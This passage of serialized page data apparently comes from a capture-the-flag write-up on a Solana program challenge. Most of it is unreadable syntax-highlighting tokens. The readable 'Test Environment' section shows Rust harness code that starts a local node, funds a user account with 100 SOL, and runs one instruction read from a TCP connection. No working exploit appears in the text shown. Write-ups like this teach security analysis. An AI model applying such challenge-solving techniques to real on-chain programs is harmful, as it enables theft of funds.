}\n}\n",[46814],{"type":24,"tag":80,"props":46815,"children":46816},{"__ignoreMap":7},[46817,46824,46872,46883,47003,47118,47137,47144,47179,47186,47305,47420,47439,47446],{"type":24,"tag":147,"props":46818,"children":46819},{"class":149,"line":150},[46820],{"type":24,"tag":147,"props":46821,"children":46822},{"style":235},[46823],{"type":29,"value":46175},{"type":24,"tag":147,"props":46825,"children":46826},{"class":149,"line":160},[46827,46831,46835,46840,46844,46848,46852,46856,46860,46864,46868],{"type":24,"tag":147,"props":46828,"children":46829},{"style":218},[46830],{"type":29,"value":19307},{"type":24,"tag":147,"props":46832,"children":46833},{"style":218},[46834],{"type":29,"value":19312},{"type":24,"tag":147,"props":46836,"children":46837},{"style":229},[46838],{"type":29,"value":46839}," process",{"type":24,"tag":147,"props":46841,"children":46842},{"style":235},[46843],{"type":29,"value":480},{"type":24,"tag":147,"props":46845,"children":46846},{"style":218},[46847],{"type":29,"value":9348},{"type":24,"tag":147,"props":46849,"children":46850},{"style":247},[46851],{"type":29,"value":1103},{"type":24,"tag":147,"props":46853,"children":46854},{"style":241},[46855],{"type":29,"value":978},{"type":24,"tag":147,"props":46857,"children":46858},{"style":241},[46859],{"type":29,"value":12767},{"type":24,"tag":147,"props":46861,"children":46862},{"style":235},[46863],{"type":29,"value":9358},{"type":24,"tag":147,"props":46865,"children":46866},{"style":9044},[46867],{"type":29,"value":2625},{"type":24,"tag":147,"props":46869,"children":46870},{"style":235},[46871],{"type":29,"value":46220},{"type":24,"tag":147,"props":46873,"children":46874},{"class":149,"line":169},[46875,46879],{"type":24,"tag":147,"props":46876,"children":46877},{"style":218},[46878],{"type":29,"value":19449},{"type":24,"tag":147,"props":46880,"children":46881},{"style":235},[46882],{"type":29,"value":6630},{"type":24,"tag":147,"props":46884,"children":46885},{"class":149,"line":178},[46886,46890,46894,46898,46902,46906,46910,46914,46918,46922,46926,46930,46934,46938,46942,46946,46950,46954,46959,46963,46967,46971,46975,46979,46983,46987,46991,46995,46999],{"type":24,"tag":147,"props":46887,"children":46888},{"style":218},[46889],{"type":29,"value":8696},{"type":24,"tag":147,"props":46891,"children":46892},{"style":247},[46893],{"type":29,"value":19473},{"type":24,"tag":147,"props":46895,"children":46896},{"style":241},[46897],{"type":29,"value":651},{"type":24,"tag":147,"props":46899,"children":46900},{"style":235},[46901],{"type":29,"value":46251},{"type":24,"tag":147,"props":46903,"children":46904},{"style":241},[46905],{"type":29,"value":9106},{"type":24,"tag":147,"props":46907,"children":46908},{"style":235},[46909],{"type":29,"value":2993},{"type":24,"tag":147,"props":46911,"children":46912},{"style":241},[46913],{"type":29,"value":9106},{"type":24,"tag":147,"props":46915,"children":46916},{"style":229},[46917],{"type":29,"value":46268},{"type":24,"tag":147,"props":46919,"children":46920},{"style":241},[46921],{"type":29,"value":9106},{"type":24,"tag":147,"props":46923,"children":46924},{"style":235},[46925],{"type":29,"value":46277},{"type":24,"tag":147,"props":46927,"children":46928},{"style":9044},[46929],{"type":29,"value":2625},{"type":24,"tag":147,"props":46931,"children":46932},{"style":235},[46933],{"type":29,"value":22832},{"type":24,"tag":147,"props":46935,"children":46936},{"style":705},[46937],{"type":29,"value":9700},{"type":24,"tag":147,"props":46939,"children":46940},{"style":235},[46941],{"type":29,"value":28662},{"type":24,"tag":147,"props":46943,"children":46944},{"style":218},[46945],{"type":29,"value":25870},{"type":24,"tag":147,"props":46947,"children":46948},{"style":235},[46949],{"type":29,"value":480},{"type":24,"tag":147,"props":46951,"children":46952},{"style":9044},[46953],{"type":29,"value":13668},{"type":24,"tag":147,"props":46955,"children":46956},{"style":235},[46957],{"type":29,"value":46958},")>(",{"type":24,"tag":147,"props":46960,"children":46961},{"style":247},[46962],{"type":29,"value":1139},{"type":24,"tag":147,"props":46964,"children":46965},{"style":235},[46966],{"type":29,"value":9358},{"type":24,"tag":147,"props":46968,"children":46969},{"style":241},[46970],{"type":29,"value":8683},{"type":24,"tag":147,"props":46972,"children":46973},{"style":705},[46974],{"type":29,"value":9700},{"type":24,"tag":147,"props":46976,"children":46977},{"style":235},[46978],{"type":29,"value":21023},{"type":24,"tag":147,"props":46980,"children":46981},{"style":241},[46982],{"type":29,"value":87},{"type":24,"tag":147,"props":46984,"children":46985},{"style":229},[46986],{"type":29,"value":31763},{"type":24,"tag":147,"props":46988,"children":46989},{"style":235},[46990],{"type":29,"value":19495},{"type":24,"tag":147,"props":46992,"children":46993},{"style":241},[46994],{"type":29,"value":87},{"type":24,"tag":147,"props":46996,"children":46997},{"style":229},[46998],{"type":29,"value":9290},{"type":24,"tag":147,"props":47000,"children":47001},{"style":235},[47002],{"type":29,"value":21037},{"type":24,"tag":147,"props":47004,"children":47005},{"class":149,"line":187},[47006,47010,47014,47018,47022,47026,47030,47034,47038,47042,47046,47050,47054,47058,47062,47066,47070,47074,47078,47082,47086,47090,47094,47098,47102,47106,47110,47114],{"type":24,"tag":147,"props":47007,"children":47008},{"style":218},[47009],{"type":29,"value":8696},{"type":24,"tag":147,"props":47011,"children":47012},{"style":247},[47013],{"type":29,"value":46365},{"type":24,"tag":147,"props":47015,"children":47016},{"style":241},[47017],{"type":29,"value":651},{"type":24,"tag":147,"props":47019,"children":47020},{"style":235},[47021],{"type":29,"value":46251},{"type":24,"tag":147,"props":47023,"children":47024},{"style":241},[47025],{"type":29,"value":9106},{"type":24,"tag":147,"props":47027,"children":47028},{"style":235},[47029],{"type":29,"value":2993},{"type":24,"tag":147,"props":47031,"children":47032},{"style":241},[47033],{"type":29,"value":9106},{"type":24,"tag":147,"props":47035,"children":47036},{"style":229},[47037],{"type":29,"value":46268},{"type":24,"tag":147,"props":47039,"children":47040},{"style":241},[47041],{"type":29,"value":9106},{"type":24,"tag":147,"props":47043,"children":47044},{"style":235},[47045],{"type":29,"value":46277},{"type":24,"tag":147,"props":47047,"children":47048},{"style":9044},[47049],{"type":29,"value":2625},{"type":24,"tag":147,"props":47051,"children":47052},{"style":235},[47053],{"type":29,"value":22832},{"type":24,"tag":147,"props":47055,"children":47056},{"style":705},[47057],{"type":29,"value":9700},{"type":24,"tag":147,"props":47059,"children":47060},{"style":235},[47061],{"type":29,"value":28662},{"type":24,"tag":147,"props":47063,"children":47064},{"style":9044},[47065],{"type":29,"value":13668},{"type":24,"tag":147,"props":47067,"children":47068},{"style":235},[47069],{"type":29,"value":13236},{"type":24,"tag":147,"props":47071,"children":47072},{"style":247},[47073],{"type":29,"value":1139},{"type":24,"tag":147,"props":47075,"children":47076},{"style":235},[47077],{"type":29,"value":9358},{"type":24,"tag":147,"props":47079,"children":47080},{"style":705},[47081],{"type":29,"value":9700},{"type":24,"tag":147,"props":47083,"children":47084},{"style":241},[47085],{"type":29,"value":8683},{"type":24,"tag":147,"props":47087,"children":47088},{"style":705},[47089],{"type":29,"value":46442},{"type":24,"tag":147,"props":47091,"children":47092},{"style":235},[47093],{"type":29,"value":21023},{"type":24,"tag":147,"props":47095,"children":47096},{"style":241},[47097],{"type":29,"value":87},{"type":24,"tag":147,"props":47099,"children":47100},{"style":229},[47101],{"type":29,"value":31763},{"type":24,"tag":147,"props":47103,"children":47104},{"style":235},[47105],{"type":29,"value":19495},{"type":24,"tag":147,"props":47107,"children":47108},{"style":241},[47109],{"type":29,"value":87},{"type":24,"tag":147,"props":47111,"children":47112},{"style":229},[47113],{"type":29,"value":9290},{"type":24,"tag":147,"props":47115,"children":47116},{"style":235},[47117],{"type":29,"value":21037},{"type":24,"tag":147,"props":47119,"children":47120},{"class":149,"line":196},[47121,47125,47129,47133],{"type":24,"tag":147,"props":47122,"children":47123},{"style":229},[47124],{"type":29,"value":46478},{"type":24,"tag":147,"props":47126,"children":47127},{"style":235},[47128],{"type":29,"value":480},{"type":24,"tag":147,"props":47130,"children":47131},{"style":247},[47132],{"type":29,"value":18250},{"type":24,"tag":147,"props":47134,"children":47135},{"style":235},[47136],{"type":29,"value":1473},{"type":24,"tag":147,"props":47138,"children":47139},{"class":149,"line":205},[47140],{"type":24,"tag":147,"props":47141,"children":47142},{"emptyLinePlaceholder":16},[47143],{"type":29,"value":314},{"type":24,"tag":147,"props":47145,"children":47146},{"class":149,"line":214},[47147,47151,47155,47159,47163,47167,47171,47175],{"type":24,"tag":147,"props":47148,"children":47149},{"style":247},[47150],{"type":29,"value":46649},{"type":24,"tag":147,"props":47152,"children":47153},{"style":241},[47154],{"type":29,"value":651},{"type":24,"tag":147,"props":47156,"children":47157},{"style":241},[47158],{"type":29,"value":12767},{"type":24,"tag":147,"props":47160,"children":47161},{"style":247},[47162],{"type":29,"value":1139},{"type":24,"tag":147,"props":47164,"children":47165},{"style":235},[47166],{"type":29,"value":9358},{"type":24,"tag":147,"props":47168,"children":47169},{"style":705},[47170],{"type":29,"value":46442},{"type":24,"tag":147,"props":47172,"children":47173},{"style":241},[47174],{"type":29,"value":8683},{"type":24,"tag":147,"props":47176,"children":47177},{"style":235},[47178],{"type":29,"value":37174},{"type":24,"tag":147,"props":47180,"children":47181},{"class":149,"line":272},[47182],{"type":24,"tag":147,"props":47183,"children":47184},{"emptyLinePlaceholder":16},[47185],{"type":29,"value":314},{"type":24,"tag":147,"props":47187,"children":47188},{"class":149,"line":281},[47189,47193,47197,47201,47205,47209,47213,47217,47221,47225,47229,47233,47237,47241,47245,47249,47253,47257,47261,47265,47269,47273,47277,47281,47285,47289,47293,47297,47301],{"type":24,"tag":147,"props":47190,"children":47191},{"style":218},[47192],{"type":29,"value":8696},{"type":24,"tag":147,"props":47194,"children":47195},{"style":247},[47196],{"type":29,"value":19473},{"type":24,"tag":147,"props":47198,"children":47199},{"style":241},[47200],{"type":29,"value":651},{"type":24,"tag":147,"props":47202,"children":47203},{"style":235},[47204],{"type":29,"value":46251},{"type":24,"tag":147,"props":47206,"children":47207},{"style":241},[47208],{"type":29,"value":9106},{"type":24,"tag":147,"props":47210,"children":47211},{"style":235},[47212],{"type":29,"value":2993},{"type":24,"tag":147,"props":47214,"children":47215},{"style":241},[47216],{"type":29,"value":9106},{"type":24,"tag":147,"props":47218,"children":47219},{"style":229},[47220],{"type":29,"value":46268},{"type":24,"tag":147,"props":47222,"children":47223},{"style":241},[47224],{"type":29,"value":9106},{"type":24,"tag":147,"props":47226,"children":47227},{"style":235},[47228],{"type":29,"value":46277},{"type":24,"tag":147,"props":47230,"children":47231},{"style":9044},[47232],{"type":29,"value":2625},{"type":24,"tag":147,"props":47234,"children":47235},{"style":235},[47236],{"type":29,"value":22832},{"type":24,"tag":147,"props":47238,"children":47239},{"style":705},[47240],{"type":29,"value":9700},{"type":24,"tag":147,"props":47242,"children":47243},{"style":235},[47244],{"type":29,"value":28662},{"type":24,"tag":147,"props":47246,"children":47247},{"style":218},[47248],{"type":29,"value":25870},{"type":24,"tag":147,"props":47250,"children":47251},{"style":235},[47252],{"type":29,"value":480},{"type":24,"tag":147,"props":47254,"children":47255},{"style":9044},[47256],{"type":29,"value":13668},{"type":24,"tag":147,"props":47258,"children":47259},{"style":235},[47260],{"type":29,"value":46958},{"type":24,"tag":147,"props":47262,"children":47263},{"style":247},[47264],{"type":29,"value":1139},{"type":24,"tag":147,"props":47266,"children":47267},{"style":235},[47268],{"type":29,"value":9358},{"type":24,"tag":147,"props":47270,"children":47271},{"style":241},[47272],{"type":29,"value":8683},{"type":24,"tag":147,"props":47274,"children":47275},{"style":705},[47276],{"type":29,"value":9700},{"type":24,"tag":147,"props":47278,"children":47279},{"style":235},[47280],{"type":29,"value":21023},{"type":24,"tag":147,"props":47282,"children":47283},{"style":241},[47284],{"type":29,"value":87},{"type":24,"tag":147,"props":47286,"children":47287},{"style":229},[47288],{"type":29,"value":31763},{"type":24,"tag":147,"props":47290,"children":47291},{"style":235},[47292],{"type":29,"value":19495},{"type":24,"tag":147,"props":47294,"children":47295},{"style":241},[47296],{"type":29,"value":87},{"type":24,"tag":147,"props":47298,"children":47299},{"style":229},[47300],{"type":29,"value":9290},{"type":24,"tag":147,"props":47302,"children":47303},{"style":235},[47304],{"type":29,"value":21037},{"type":24,"tag":147,"props":47306,"children":47307},{"class":149,"line":299},[47308,47312,47316,47320,47324,47328,47332,47336,47340,47344,47348,47352,47356,47360,47364,47368,47372,47376,47380,47384,47388,47392,47396,47400,47404,47408,47412,47416],{"type":24,"tag":147,"props":47309,"children":47310},{"style":218},[47311],{"type":29,"value":8696},{"type":24,"tag":147,"props":47313,"children":47314},{"style":247},[47315],{"type":29,"value":46365},{"type":24,"tag":147,"props":47317,"children":47318},{"style":241},[47319],{"type":29,"value":651},{"type":24,"tag":147,"props":47321,"children":47322},{"style":235},[47323],{"type":29,"value":46251},{"type":24,"tag":147,"props":47325,"children":47326},{"style":241},[47327],{"type":29,"value":9106},{"type":24,"tag":147,"props":47329,"children":47330},{"style":235},[47331],{"type":29,"value":2993},{"type":24,"tag":147,"props":47333,"children":47334},{"style":241},[47335],{"type":29,"value":9106},{"type":24,"tag":147,"props":47337,"children":47338},{"style":229},[47339],{"type":29,"value":46268},{"type":24,"tag":147,"props":47341,"children":47342},{"style":241},[47343],{"type":29,"value":9106},{"type":24,"tag":147,"props":47345,"children":47346},{"style":235},[47347],{"type":29,"value":46277},{"type":24,"tag":147,"props":47349,"children":47350},{"style":9044},[47351],{"type":29,"value":2625},{"type":24,"tag":147,"props":47353,"children":47354},{"style":235},[47355],{"type":29,"value":22832},{"type":24,"tag":147,"props":47357,"children":47358},{"style":705},[47359],{"type":29,"value":9700},{"type":24,"tag":147,"props":47361,"children":47362},{"style":235},[47363],{"type":29,"value":28662},{"type":24,"tag":147,"props":47365,"children":47366},{"style":9044},[47367],{"type":29,"value":13668},{"type":24,"tag":147,"props":47369,"children":47370},{"style":235},[47371],{"type":29,"value":13236},{"type":24,"tag":147,"props":47373,"children":47374},{"style":247},[47375],{"type":29,"value":1139},{"type":24,"tag":147,"props":47377,"children":47378},{"style":235},[47379],{"type":29,"value":9358},{"type":24,"tag":147,"props":47381,"children":47382},{"style":705},[47383],{"type":29,"value":9700},{"type":24,"tag":147,"props":47385,"children":47386},{"style":241},[47387],{"type":29,"value":8683},{"type":24,"tag":147,"props":47389,"children":47390},{"style":705},[47391],{"type":29,"value":46442},{"type":24,"tag":147,"props":47393,"children":47394},{"style":235},[47395],{"type":29,"value":21023},{"type":24,"tag":147,"props":47397,"children":47398},{"style":241},[47399],{"type":29,"value":87},{"type":24,"tag":147,"props":47401,"children":47402},{"style":229},[47403],{"type":29,"value":31763},{"type":24,"tag":147,"props":47405,"children":47406},{"style":235},[47407],{"type":29,"value":19495},{"type":24,"tag":147,"props":47409,"children":47410},{"style":241},[47411],{"type":29,"value":87},{"type":24,"tag":147,"props":47413,"children":47414},{"style":229},[47415],{"type":29,"value":9290},{"type":24,"tag":147,"props":47417,"children":47418},{"style":235},[47419],{"type":29,"value":21037},{"type":24,"tag":147,"props":47421,"children":47422},{"class":149,"line":308},[47423,47427,47431,47435],{"type":24,"tag":147,"props":47424,"children":47425},{"style":229},[47426],{"type":29,"value":46478},{"type":24,"tag":147,"props":47428,"children":47429},{"style":235},[47430],{"type":29,"value":480},{"type":24,"tag":147,"props":47432,"children":47433},{"style":247},[47434],{"type":29,"value":18250},{"type":24,"tag":147,"props":47436,"children":47437},{"style":235},[47438],{"type":29,"value":1473},{"type":24,"tag":147,"props":47440,"children":47441},{"class":149,"line":317},[47442],{"type":24,"tag":147,"props":47443,"children":47444},{"style":235},[47445],{"type":29,"value":1952},{"type":24,"tag":147,"props":47447,"children":47448},{"class":149,"line":332},[47449],{"type":24,"tag":147,"props":47450,"children":47451},{"style":235},[47452],{"type":29,"value":827},{"type":24,"tag":43,"props":47454,"children":47456},{"id":47455},"test-environment",[47457],{"type":29,"value":47458},"Test Environment",{"type":24,"tag":25,"props":47460,"children":47461},{},[47462],{"type":29,"value":47463},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":24,"tag":25,"props":47465,"children":47466},{},[47467,47469,47475],{"type":29,"value":47468},"When you connect to the server through a tcp connection, ",{"type":24,"tag":80,"props":47470,"children":47472},{"className":47471},[],[47473],{"type":29,"value":47474},"framework/src/main.rs::handle_connection",{"type":29,"value":47476}," gets executed, which does the following:",{"type":24,"tag":2674,"props":47478,"children":47479},{},[47480],{"type":24,"tag":2678,"props":47481,"children":47482},{},[47483],{"type":29,"value":47484},"Creates a new Solana local node",{"type":24,"tag":137,"props":47486,"children":47488},{"className":8614,"code":47487,"language":8613,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[47489],{"type":24,"tag":80,"props":47490,"children":47491},{"__ignoreMap":7},[47492,47573,47649],{"type":24,"tag":147,"props":47493,"children":47494},{"class":149,"line":150},[47495,47499,47503,47508,47512,47517,47521,47526,47530,47535,47539,47544,47548,47552,47556,47561,47565,47569],{"type":24,"tag":147,"props":47496,"children":47497},{"style":218},[47498],{"type":29,"value":17406},{"type":24,"tag":147,"props":47500,"children":47501},{"style":218},[47502],{"type":29,"value":8639},{"type":24,"tag":147,"props":47504,"children":47505},{"style":247},[47506],{"type":29,"value":47507}," builder",{"type":24,"tag":147,"props":47509,"children":47510},{"style":241},[47511],{"type":29,"value":651},{"type":24,"tag":147,"props":47513,"children":47514},{"style":9044},[47515],{"type":29,"value":47516}," ChallengeBuilder",{"type":24,"tag":147,"props":47518,"children":47519},{"style":241},[47520],{"type":29,"value":9106},{"type":24,"tag":147,"props":47522,"children":47523},{"style":229},[47524],{"type":29,"value":47525},"try_from",{"type":24,"tag":147,"props":47527,"children":47528},{"style":235},[47529],{"type":29,"value":480},{"type":24,"tag":147,"props":47531,"children":47532},{"style":247},[47533],{"type":29,"value":47534},"socket",{"type":24,"tag":147,"props":47536,"children":47537},{"style":241},[47538],{"type":29,"value":87},{"type":24,"tag":147,"props":47540,"children":47541},{"style":229},[47542],{"type":29,"value":47543},"try_clone",{"type":24,"tag":147,"props":47545,"children":47546},{"style":235},[47547],{"type":29,"value":19495},{"type":24,"tag":147,"props":47549,"children":47550},{"style":241},[47551],{"type":29,"value":87},{"type":24,"tag":147,"props":47553,"children":47554},{"style":229},[47555],{"type":29,"value":9290},{"type":24,"tag":147,"props":47557,"children":47558},{"style":235},[47559],{"type":29,"value":47560},"())",{"type":24,"tag":147,"props":47562,"children":47563},{"style":241},[47564],{"type":29,"value":87},{"type":24,"tag":147,"props":47566,"children":47567},{"style":229},[47568],{"type":29,"value":9290},{"type":24,"tag":147,"props":47570,"children":47571},{"style":235},[47572],{"type":29,"value":9295},{"type":24,"tag":147,"props":47574,"children":47575},{"class":149,"line":160},[47576,47581,47585,47590,47594,47599,47603,47608,47612,47617,47622,47626,47631,47635,47640,47644],{"type":24,"tag":147,"props":47577,"children":47578},{"style":229},[47579],{"type":29,"value":47580},"assert!",{"type":24,"tag":147,"props":47582,"children":47583},{"style":235},[47584],{"type":29,"value":480},{"type":24,"tag":147,"props":47586,"children":47587},{"style":247},[47588],{"type":29,"value":47589},"builder",{"type":24,"tag":147,"props":47591,"children":47592},{"style":241},[47593],{"type":29,"value":87},{"type":24,"tag":147,"props":47595,"children":47596},{"style":229},[47597],{"type":29,"value":47598},"add_program",{"type":24,"tag":147,"props":47600,"children":47601},{"style":235},[47602],{"type":29,"value":480},{"type":24,"tag":147,"props":47604,"children":47605},{"style":3534},[47606],{"type":29,"value":47607},"\"/path/to/chall.so\"",{"type":24,"tag":147,"props":47609,"children":47610},{"style":235},[47611],{"type":29,"value":546},{"type":24,"tag":147,"props":47613,"children":47614},{"style":9044},[47615],{"type":29,"value":47616},"Some",{"type":24,"tag":147,"props":47618,"children":47619},{"style":235},[47620],{"type":29,"value":47621},"(chall",{"type":24,"tag":147,"props":47623,"children":47624},{"style":241},[47625],{"type":29,"value":9106},{"type":24,"tag":147,"props":47627,"children":47628},{"style":235},[47629],{"type":29,"value":47630},"ID)) ",{"type":24,"tag":147,"props":47632,"children":47633},{"style":241},[47634],{"type":29,"value":6600},{"type":24,"tag":147,"props":47636,"children":47637},{"style":235},[47638],{"type":29,"value":47639}," chall",{"type":24,"tag":147,"props":47641,"children":47642},{"style":241},[47643],{"type":29,"value":9106},{"type":24,"tag":147,"props":47645,"children":47646},{"style":235},[47647],{"type":29,"value":47648},"ID);\n",{"type":24,"tag":147,"props":47650,"children":47651},{"class":149,"line":169},[47652,47656,47660,47664,47668,47672,47676,47681,47685,47689,47693],{"type":24,"tag":147,"props":47653,"children":47654},{"style":218},[47655],{"type":29,"value":17406},{"type":24,"tag":147,"props":47657,"children":47658},{"style":218},[47659],{"type":29,"value":8639},{"type":24,"tag":147,"props":47661,"children":47662},{"style":247},[47663],{"type":29,"value":47639},{"type":24,"tag":147,"props":47665,"children":47666},{"style":241},[47667],{"type":29,"value":651},{"type":24,"tag":147,"props":47669,"children":47670},{"style":247},[47671],{"type":29,"value":47507},{"type":24,"tag":147,"props":47673,"children":47674},{"style":241},[47675],{"type":29,"value":87},{"type":24,"tag":147,"props":47677,"children":47678},{"style":229},[47679],{"type":29,"value":47680},"build",{"type":24,"tag":147,"props":47682,"children":47683},{"style":235},[47684],{"type":29,"value":19495},{"type":24,"tag":147,"props":47686,"children":47687},{"style":241},[47688],{"type":29,"value":87},{"type":24,"tag":147,"props":47690,"children":47691},{"style":321},[47692],{"type":29,"value":38517},{"type":24,"tag":147,"props":47694,"children":47695},{"style":235},[47696],{"type":29,"value":432},{"type":24,"tag":2674,"props":47698,"children":47699},{"start":160},[47700],{"type":24,"tag":2678,"props":47701,"children":47702},{},[47703],{"type":29,"value":47704},"Funds the user account with 100 SOL",{"type":24,"tag":137,"props":47706,"children":47708},{"className":8614,"code":47707,"language":8613,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[47709],{"type":24,"tag":80,"props":47710,"children":47711},{"__ignoreMap":7},[47712,47745,47777,47784,47826,47858,47865,47873,47937,47956,47963],{"type":24,"tag":147,"props":47713,"children":47714},{"class":149,"line":150},[47715,47719,47724,47728,47733,47737,47741],{"type":24,"tag":147,"props":47716,"children":47717},{"style":218},[47718],{"type":29,"value":17406},{"type":24,"tag":147,"props":47720,"children":47721},{"style":247},[47722],{"type":29,"value":47723}," user_keypair",{"type":24,"tag":147,"props":47725,"children":47726},{"style":241},[47727],{"type":29,"value":651},{"type":24,"tag":147,"props":47729,"children":47730},{"style":9044},[47731],{"type":29,"value":47732}," Keypair",{"type":24,"tag":147,"props":47734,"children":47735},{"style":241},[47736],{"type":29,"value":9106},{"type":24,"tag":147,"props":47738,"children":47739},{"style":229},[47740],{"type":29,"value":20734},{"type":24,"tag":147,"props":47742,"children":47743},{"style":235},[47744],{"type":29,"value":9295},{"type":24,"tag":147,"props":47746,"children":47747},{"class":149,"line":160},[47748,47752,47757,47761,47765,47769,47773],{"type":24,"tag":147,"props":47749,"children":47750},{"style":218},[47751],{"type":29,"value":17406},{"type":24,"tag":147,"props":47753,"children":47754},{"style":247},[47755],{"type":29,"value":47756}," user",{"type":24,"tag":147,"props":47758,"children":47759},{"style":241},[47760],{"type":29,"value":651},{"type":24,"tag":147,"props":47762,"children":47763},{"style":247},[47764],{"type":29,"value":47723},{"type":24,"tag":147,"props":47766,"children":47767},{"style":241},[47768],{"type":29,"value":87},{"type":24,"tag":147,"props":47770,"children":47771},{"style":229},[47772],{"type":29,"value":9169},{"type":24,"tag":147,"props":47774,"children":47775},{"style":235},[47776],{"type":29,"value":9295},{"type":24,"tag":147,"props":47778,"children":47779},{"class":149,"line":169},[47780],{"type":24,"tag":147,"props":47781,"children":47782},{"emptyLinePlaceholder":16},[47783],{"type":29,"value":314},{"type":24,"tag":147,"props":47785,"children":47786},{"class":149,"line":178},[47787,47791,47796,47800,47804,47809,47813,47817,47821],{"type":24,"tag":147,"props":47788,"children":47789},{"style":218},[47790],{"type":29,"value":17406},{"type":24,"tag":147,"props":47792,"children":47793},{"style":247},[47794],{"type":29,"value":47795}," payer_keypair",{"type":24,"tag":147,"props":47797,"children":47798},{"style":241},[47799],{"type":29,"value":651},{"type":24,"tag":147,"props":47801,"children":47802},{"style":241},[47803],{"type":29,"value":12767},{"type":24,"tag":147,"props":47805,"children":47806},{"style":247},[47807],{"type":29,"value":47808},"chall",{"type":24,"tag":147,"props":47810,"children":47811},{"style":241},[47812],{"type":29,"value":87},{"type":24,"tag":147,"props":47814,"children":47815},{"style":235},[47816],{"type":29,"value":25884},{"type":24,"tag":147,"props":47818,"children":47819},{"style":241},[47820],{"type":29,"value":87},{"type":24,"tag":147,"props":47822,"children":47823},{"style":235},[47824],{"type":29,"value":47825},"payer;\n",{"type":24,"tag":147,"props":47827,"children":47828},{"class":149,"line":187},[47829,47833,47838,47842,47846,47850,47854],{"type":24,"tag":147,"props":47830,"children":47831},{"style":218},[47832],{"type":29,"value":17406},{"type":24,"tag":147,"props":47834,"children":47835},{"style":247},[47836],{"type":29,"value":47837}," payer",{"type":24,"tag":147,"props":47839,"children":47840},{"style":241},[47841],{"type":29,"value":651},{"type":24,"tag":147,"props":47843,"children":47844},{"style":247},[47845],{"type":29,"value":47795},{"type":24,"tag":147,"props":47847,"children":47848},{"style":241},[47849],{"type":29,"value":87},{"type":24,"tag":147,"props":47851,"children":47852},{"style":229},[47853],{"type":29,"value":9169},{"type":24,"tag":147,"props":47855,"children":47856},{"style":235},[47857],{"type":29,"value":9295},{"type":24,"tag":147,"props":47859,"children":47860},{"class":149,"line":196},[47861],{"type":24,"tag":147,"props":47862,"children":47863},{"emptyLinePlaceholder":16},[47864],{"type":29,"value":314},{"type":24,"tag":147,"props":47866,"children":47867},{"class":149,"line":205},[47868],{"type":24,"tag":147,"props":47869,"children":47870},{"style":247},[47871],{"type":29,"value":47872},"chall\n",{"type":24,"tag":147,"props":47874,"children":47875},{"class":149,"line":214},[47876,47881,47886,47891,47895,47899,47903,47907,47912,47916,47920,47924,47928,47933],{"type":24,"tag":147,"props":47877,"children":47878},{"style":241},[47879],{"type":29,"value":47880},"    .",{"type":24,"tag":147,"props":47882,"children":47883},{"style":229},[47884],{"type":29,"value":47885},"run_ix",{"type":24,"tag":147,"props":47887,"children":47888},{"style":235},[47889],{"type":29,"value":47890},"(system_instruction",{"type":24,"tag":147,"props":47892,"children":47893},{"style":241},[47894],{"type":29,"value":9106},{"type":24,"tag":147,"props":47896,"children":47897},{"style":229},[47898],{"type":29,"value":37723},{"type":24,"tag":147,"props":47900,"children":47901},{"style":235},[47902],{"type":29,"value":480},{"type":24,"tag":147,"props":47904,"children":47905},{"style":241},[47906],{"type":29,"value":485},{"type":24,"tag":147,"props":47908,"children":47909},{"style":247},[47910],{"type":29,"value":47911},"payer",{"type":24,"tag":147,"props":47913,"children":47914},{"style":235},[47915],{"type":29,"value":546},{"type":24,"tag":147,"props":47917,"children":47918},{"style":241},[47919],{"type":29,"value":485},{"type":24,"tag":147,"props":47921,"children":47922},{"style":247},[47923],{"type":29,"value":25836},{"type":24,"tag":147,"props":47925,"children":47926},{"style":235},[47927],{"type":29,"value":546},{"type":24,"tag":147,"props":47929,"children":47930},{"style":705},[47931],{"type":29,"value":47932},"100_000_000_000",{"type":24,"tag":147,"props":47934,"children":47935},{"style":235},[47936],{"type":29,"value":3519},{"type":24,"tag":147,"props":47938,"children":47939},{"class":149,"line":272},[47940,47944,47948,47952],{"type":24,"tag":147,"props":47941,"children":47942},{"style":241},[47943],{"type":29,"value":47880},{"type":24,"tag":147,"props":47945,"children":47946},{"style":321},[47947],{"type":29,"value":38517},{"type":24,"tag":147,"props":47949,"children":47950},{"style":241},[47951],{"type":29,"value":8785},{"type":24,"tag":147,"props":47953,"children":47954},{"style":235},[47955],{"type":29,"value":432},{"type":24,"tag":147,"props":47957,"children":47958},{"class":149,"line":281},[47959],{"type":24,"tag":147,"props":47960,"children":47961},{"emptyLinePlaceholder":16},[47962],{"type":29,"value":314},{"type":24,"tag":147,"props":47964,"children":47965},{"class":149,"line":299},[47966,47971,47975,47979,47983,47988,47992,47996,48000,48004],{"type":24,"tag":147,"props":47967,"children":47968},{"style":229},[47969],{"type":29,"value":47970},"writeln!",{"type":24,"tag":147,"props":47972,"children":47973},{"style":235},[47974],{"type":29,"value":480},{"type":24,"tag":147,"props":47976,"children":47977},{"style":247},[47978],{"type":29,"value":47534},{"type":24,"tag":147,"props":47980,"children":47981},{"style":235},[47982],{"type":29,"value":546},{"type":24,"tag":147,"props":47984,"children":47985},{"style":3534},[47986],{"type":29,"value":47987},"\"user: {}\"",{"type":24,"tag":147,"props":47989,"children":47990},{"style":235},[47991],{"type":29,"value":546},{"type":24,"tag":147,"props":47993,"children":47994},{"style":247},[47995],{"type":29,"value":25836},{"type":24,"tag":147,"props":47997,"children":47998},{"style":235},[47999],{"type":29,"value":8758},{"type":24,"tag":147,"props":48001,"children":48002},{"style":241},[48003],{"type":29,"value":8785},{"type":24,"tag":147,"props":48005,"children":48006},{"style":235},[48007],{"type":29,"value":432},{"type":24,"tag":2674,"props":48009,"children":48010},{"start":169},[48011],{"type":24,"tag":2678,"props":48012,"children":48013},{},[48014],{"type":29,"value":48015},"Reads an instruction from the tcp stream and executes it",{"type":24,"tag":137,"props":48017,"children":48019},{"className":8614,"code":48018,"language":8613,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], 